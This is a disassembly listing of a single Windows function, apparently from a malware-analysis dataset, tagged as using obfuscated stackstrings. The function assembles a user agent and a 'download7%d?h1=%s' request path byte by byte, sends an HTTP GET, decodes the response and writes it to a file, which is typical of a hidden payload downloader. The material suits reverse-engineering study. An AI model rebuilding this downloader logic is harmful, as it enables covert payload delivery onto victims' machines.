Function at 0x402718
Capabilities:
Contain obfuscated stackstrings
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2378
call fcn.00405270
push ebx
xor ebx, ebx
push 0x200
lea eax, [ebp - 0x378]
push ebx
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
lea eax, [ebp - 0x378]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x60]
mov byte [ebp - 0x60], 0x77
push eax
lea eax, [ebp - 0x378]
push eax
mov byte [ebp - 0x5f], 0x62
mov byte [ebp - 0x5e], bl
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 0x1c
cmp eax, ebx
mov dword [ebp - 0x68], eax
jne 0x402776
xor eax, eax
jmp 0x402a2c
push esi
push edi
push 0x100
lea eax, [ebp - 0x178]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov byte [ebp - 0x38], 0x4d
mov byte [ebp - 0x37], 0x6f
mov byte [ebp - 0x36], 0x7a
mov byte [ebp - 0x35], 0x69
mov byte [ebp - 0x34], 0x6c
mov byte [ebp - 0x33], 0x6c
mov byte [ebp - 0x32], 0x61
mov byte [ebp - 0x31], 0x2f
mov byte [ebp - 0x30], 0x35
mov byte [ebp - 0x2f], 0x2e
mov byte [ebp - 0x2e], 0x30
mov byte [ebp - 0x2d], 0x20
mov byte [ebp - 0x2c], 0x28
mov byte [ebp - 0x2b], 0x63
mov byte [ebp - 0x2a], 0x6f
mov byte [ebp - 0x29], 0x6d
mov byte [ebp - 0x28], 0x70
mov byte [ebp - 0x27], 0x61
mov byte [ebp - 0x26], 0x74
mov byte [ebp - 0x25], 0x69
mov byte [ebp - 0x24], 0x62
mov byte [ebp - 0x23], 0x6c
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], 0x3b
mov byte [ebp - 0x20], 0x20
mov byte [ebp - 0x1f], 0x57
mov byte [ebp - 0x1e], 0x69
mov byte [ebp - 0x1d], 0x6e
mov byte [ebp - 0x1c], 0x64
mov byte [ebp - 0x1b], 0x6f
mov byte [ebp - 0x1a], 0x77
mov byte [ebp - 0x19], 0x73
mov byte [ebp - 0x18], 0x20
mov byte [ebp - 0x17], 0x4e
mov byte [ebp - 0x16], 0x54
mov byte [ebp - 0x15], 0x20
mov byte [ebp - 0x14], 0x35
mov byte [ebp - 0x13], 0x2e
mov byte [ebp - 0x12], 0x31
mov byte [ebp - 0x11], 0x29
mov byte [ebp - 0x10], bl
mov byte [ebp - 0x4c], 0x64
mov byte [ebp - 0x4b], 0x6f
mov byte [ebp - 0x4a], 0x77
mov byte [ebp - 0x49], 0x6e
mov byte [ebp - 0x48], 0x6c
mov byte [ebp - 0x47], 0x6f
mov byte [ebp - 0x46], 0x61
mov byte [ebp - 0x45], 0x64
mov byte [ebp - 0x44], 0x37
mov byte [ebp - 0x43], 0x25
mov byte [ebp - 0x42], 0x64
mov byte [ebp - 0x41], 0x3f
mov byte [ebp - 0x40], 0x68
mov byte [ebp - 0x3f], 0x31
mov byte [ebp - 0x3e], 0x3d
mov byte [ebp - 0x3d], 0x25
mov byte [ebp - 0x3c], 0x73
mov byte [ebp - 0x3b], bl
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
mov dword [esp], 0x409124
call dword [sym.imp.MSVCRT.dll_rand]
push eax
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x178]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
push ebx
push ebx
push ebx
lea eax, [ebp - 0x38]
push ebx
push eax
call dword [0x409200]
mov esi, eax
cmp esi, ebx
mov dword [ebp - 0x6c], esi
je 0x402a1e
mov ax, word [0x407010]
push ebx
push ebx
push 3
push ebx
push ebx
push eax
push 0x409188
push esi
call dword [0x409210]
mov edi, eax
cmp edi, ebx
mov dword [ebp - 0x70], edi
jne 0x4028e9
push esi
jmp 0x402a18
lea eax, [ebp - 0xc]
push ebx
mov dword [ebp - 0x78], eax
lea eax, [ebp - 0x78]
push 0x4400000
push eax
lea eax, [ebp - 0x58]
push ebx
push eax
lea eax, [ebp - 0x178]
push eax
lea eax, [ebp - 8]
push eax
push edi
mov byte [ebp - 0xc], 0x2a
mov byte [ebp - 0xb], 0x2f
mov byte [ebp - 0xa], 0x2a
mov byte [ebp - 9], bl
mov byte [ebp - 0x58], 0x48
mov byte [ebp - 0x57], 0x54
mov byte [ebp - 0x56], 0x54
mov byte [ebp - 0x55], 0x50
mov byte [ebp - 0x54], 0x2f
mov byte [ebp - 0x53], 0x31
mov byte [ebp - 0x52], 0x2e
mov byte [ebp - 0x51], 0x31
mov byte [ebp - 0x50], bl
mov byte [ebp - 8], 0x47
mov byte [ebp - 7], 0x45
mov byte [ebp - 6], 0x54
mov byte [ebp - 5], bl
mov dword [ebp - 0x74], ebx
call dword [0x409218]
cmp eax, ebx
mov dword [ebp + 8], eax
jne 0x402968
push esi
call dword [0x4091f8]
push edi
jmp 0x402a18
push ebx
push ebx
push ebx
push ebx
push eax
call dword [0x40921c]
test eax, eax
je 0x402a03
mov edi, 0x2000
lea eax, [ebp - 0x2378]
push edi
push ebx
push eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0x64], ebx
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
mov esi, 0x1fff
push eax
lea eax, [ebp - 0x2378]
push esi
push eax
push dword [ebp + 8]
call dword [0x409214]
test eax, eax
je 0x402a00
cmp dword [ebp - 4], ebx
je 0x402a00
push dword [ebp - 4]
lea eax, [ebp - 0x2378]
push eax
call fcn.00403677
push dword [ebp - 0x68]
lea eax, [ebp - 0x2378]
push dword [ebp - 4]
push 1
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
add dword [ebp - 0x64], eax
add esp, 0x18
cmp eax, dword [ebp - 4]
jne 0x402a03
push edi
lea eax, [ebp - 0x2378]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
push eax
jmp 0x4029a0
push 1
pop ebx
push dword [ebp - 0x6c]
call dword [0x4091f8]
push dword [ebp - 0x70]
call dword [0x4091f8]
push dword [ebp + 8]
call dword [0x4091f8]
push dword [ebp - 0x68]
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret